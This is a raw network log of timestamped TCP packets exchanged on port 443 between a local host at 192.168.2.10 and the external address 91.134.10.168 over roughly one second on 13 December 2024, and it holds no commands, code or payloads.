Dec 13, 2024 13:27:29.124316931 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.124363899 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.126245975 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.126307964 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.127319098 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.127370119 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.129157066 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.129204035 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.131159067 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.131205082 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.132302999 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.132349968 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.134104967 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.134147882 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.136024952 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.136077881 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.137507915 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.137552977 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.139556885 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.139604092 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.140521049 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.140574932 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.142414093 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.142472029 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.144471884 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.144517899 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.145481110 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.145534992 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.147413969 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.147459984 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.149255991 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.149302959 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.150408983 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.150455952 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.152194977 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.152242899 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.154211044 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.154258966 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.155298948 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.155347109 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.157231092 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.157278061 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.159073114 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.159121037 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.300401926 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.300465107 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.302445889 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.302498102 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.303563118 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.303611994 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.305273056 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.305315971 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.307207108 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.307261944 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.308355093 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.308397055 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.310448885 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.310503960 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.312146902 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.312191963 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.313162088 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.313205004 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.315325975 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.315382957 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.317070007 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.317116022 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.318351984 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.318397045 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.320069075 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.320118904 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.321985960 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.322043896 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.323059082 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.323101997 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.324908018 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.324956894 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.326862097 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.326913118 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.328814030 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.328871965 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.329957008 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.330002069 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.331722021 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.331768990 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.333723068 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.333771944 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.335154057 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.335203886 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.336245060 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.336302042 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.338252068 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.338357925 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.340074062 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.340121031 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.341121912 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.341171026 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.343204975 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.343252897 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.345016956 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.345061064 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.346930981 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.346991062 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.348048925 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.348093987 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.349878073 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.349925041 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.492264986 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.492327929 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.492688894 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.492742062 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.494539022 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.494597912 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.496459007 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.496511936 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.497548103 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.497596979 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.499393940 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.499449015 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.501379013 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.501435995 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.502409935 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.502461910 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.504466057 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.504520893 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.506247997 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.506323099 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.507347107 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.507396936 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.509299040 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.509349108 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.511223078 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.511276960 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.512542963 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.512605906 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.514254093 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.514302969 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.516057968 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.516099930 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.517149925 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.517199993 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.519193888 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.519242048 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.520967960 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.521014929 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.522968054 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.523016930 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.524107933 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.524162054 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.525863886 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.525907040 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.527419090 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.527468920 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.529314041 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.529361963 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.530411959 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.530461073 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.532401085 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.532447100 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.534298897 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.534339905 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.535269976 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.535332918 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.537503004 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.537552118 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.539592981 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.539639950 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.541428089 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.541475058 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.542270899 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.542371035 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.684403896 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.684478045 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.685475111 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.685543060 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.687455893 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.687532902 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.688538074 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.688597918 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.690666914 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.690726042 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.692478895 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.692536116 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.693754911 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.693870068 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.695944071 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.696036100 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.697640896 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.697704077 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.698396921 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.698461056 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.700285912 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.700349092 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.702146053 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.702202082 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.703259945 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.703325033 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.705208063 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.705284119 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.707093000 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.707156897 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.708165884 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.708224058 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.710170031 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.710237026 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.712014914 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.712079048 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.713891983 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.713954926 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.715029001 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.715090036 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.716886997 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.716948032 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.718805075 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.718869925 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.720283031 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.720341921 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.721362114 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.721422911 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.723359108 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.723421097 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.725214958 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.725272894 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.726258039 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.726314068 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.728239059 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.728291988 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.730071068 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.730128050 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.732038021 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.732100010 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.733156919 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.733211040 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.735023975 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.735106945 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.876800060 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.876908064 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.877882004 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.877959967 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.879730940 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.879795074 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.881722927 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.881814003 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.882811069 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.882875919 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.884654999 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.884741068 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.886620045 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.886704922 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.887752056 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.887833118 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.889559031 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.889625072 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.891514063 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.891578913 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.892566919 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.892631054 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.894587994 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.894659996 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.896383047 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.896445990 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.897519112 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.897583961 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.899436951 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.899503946 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.901267052 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.901364088 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.902374983 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.902450085 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.904319048 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.904393911 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.906238079 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.906306982 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.907295942 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.907386065 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.909499884 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.909584045 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.911120892 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.911191940 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.912669897 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.912729025 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.914551020 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.914622068 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.915723085 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.915796995 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.917624950 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.917702913 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.919698000 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.919770956 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.920676947 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.920742035 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.922595024 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.922666073 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.924552917 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.924639940 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.925564051 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.925653934 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.927469015 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.927545071 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.068954945 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.069021940 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.070406914 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.070457935 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.072422981 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.072478056 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.073251963 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.073414087 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.075304985 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.075454950 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.077136040 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.077188015 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.079123974 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.079171896 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.080185890 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.080245018 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.082060099 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.082115889 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.083987951 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.084048986 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.085144997 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.085201979 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.086942911 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.086996078 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.088896990 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.088948965 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.089951038 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.090003014 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.091826916 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.091880083 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.093816042 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.093878031 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.094921112 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.094971895 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.096929073 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.096978903 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.098728895 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.098798990 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.099807024 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.099898100 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.101788998 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.101857901 CET	49712	443	192.168.2.10	91.134.10.168
